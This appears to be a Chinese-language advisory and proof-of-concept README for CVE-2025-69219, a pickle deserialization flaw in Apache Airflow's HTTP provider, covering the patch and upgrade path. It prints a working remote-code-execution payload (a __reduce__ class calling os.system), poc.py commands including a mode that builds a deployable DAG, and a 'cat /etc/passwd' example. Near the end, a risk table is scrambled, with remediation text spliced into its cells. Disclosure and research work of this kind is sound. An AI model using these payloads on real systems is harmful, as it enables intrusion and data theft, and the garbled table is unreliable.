严重性: 高 (CVSS 3.1: 8.8)
向量:AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — 对动态管理代码资源的不当控制
受影响版本:apache-airflow-providers-http >= 5.1.0, < 6.0.0
修复版本:apache-airflow-providers-http == 6.0.0
补丁: apache/airflow#61662 · commit 97839f7
Apache Airflow 的 HTTP 提供程序使用 Python 的 pickle 模块来序列化和反序列化延迟任务的 HTTP 触发器响应。HttpOperator.execute_complete() 中的漏洞点代码如下:
# 有漏洞的(补丁前)— providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))
event 字典从 Airflow 数据库读取,这意味着任何具有数据库写入权限的主体都可以植入恶意的 pickle 负载。当 Triggerer 工作进程处理延迟任务时,它会盲目地反序列化该负载,从而以 Triggerer 进程的权限执行任意操作系统命令——等同于 DAG Author 的权限。
对不可信数据使用 pickle.loads() 本质上就是不安全的操作。Pickle 的 __reduce__ 协议允许在序列化 blob 中嵌入任何 Python 可调用对象,并在反序列化时执行,且无沙箱保护。
Airflow Triggerer 在任务完成时序列化 HTTP 响应并将其存储在数据库中:
# triggers/http.py (补丁前)
yield TriggerEvent({
"status": "success",
"response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})
数据库级别的攻击者将该值替换为精心构造的 pickle blob,例如:
class RCEPayload:
def __reduce__(self):
return (os.system, ("id",))
payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()
然后 Triggerer 调用 execute_complete → pickle.loads() → RCE。
该补丁完全用安全、显式的 JSON 序列化器替换了 pickle:
# triggers/http.py (补丁后)
yield TriggerEvent({
"status": "success",
"response": HttpResponseSerializer.serialize(response), # JSON 字典
})
# HttpResponseSerializer.deserialize() — 验证输入为字典,从不执行代码
if isinstance(data, str):
raise TypeError("响应数据必须是字典,字符串无效")
新的反序列化器仅根据已知字段(status_code、headers、content 等)重新构建 requests.Response 对象——无法执行任意代码。
# Python 3.9+;安装有漏洞的版本
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"
在进程内重现有漏洞的 pickle.loads() 调用:
python poc.py
# 或使用自定义命令:
python poc.py --cmd "whoami"
示例输出:
CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
Unsafe Pickle Deserialization → RCE via HttpOperator
-------------------------------------------------------
[*] 命令 : id
[*] Pickle 负载: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] 触发反序列化(模拟 execute_complete) ...
uid=1000(user) gid=1000(user) groups=1000(user)
[+] os.system 返回: 0 (0 = 成功)
# 生成可部署的 DAG
python poc.py --mode dag --cmd "id"
# 复制到你的 Airflow DAGs 目录
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/
# 从 Airflow UI 或 CLI 触发
airflow dags trigger cve_2025_69219_poc
在任务日志中查看命令输出。
python poc.py --show-payload --cmd "cat /etc/passwd"
| 因素 | 详情 |
|---|---|
| 谁可以利用 | 任何对 Airflow 数据库有直接写入权限的用户 |
| 执行上下文 | Triggerer 工作进程(与 DAG Author 拥有相同权限) |
| 可能性 |
apache-airflow-providers-http 到 6.0.0 或更高版本。deferrable=True)已完成或已清除,因为使用 pickle 序列化的进行中任务在升级后会引发 TypeError(该破坏性变更已在提供程序变更日志中记录)。pip install "apache-airflow-providers-http>=6.0.0"
| 日期 | 事件 |
|---|---|
| 2026-03-09 | CVE 由 Apache 软件基金会发布 |
| 2026-03-09 | 修复合并(PR #61662,commit 97839f7) |
| 2026-03-09 | 在 oss-security 邮件列表上披露 |
本仓库中的 PoC 基于 @ahmetartuc 的原始工作。
此概念验证仅用于教育和安全研究目的。请仅针对您拥有所有权或已获得明确书面授权的系统进行测试。作者不对任何滥用行为负责。
| 低——在配置良好的部署中,直接数据库访问不常见 |
| 影响范围 | Triggerer 节点上的完整主机 RCE:数据泄露、横向移动、持久化 |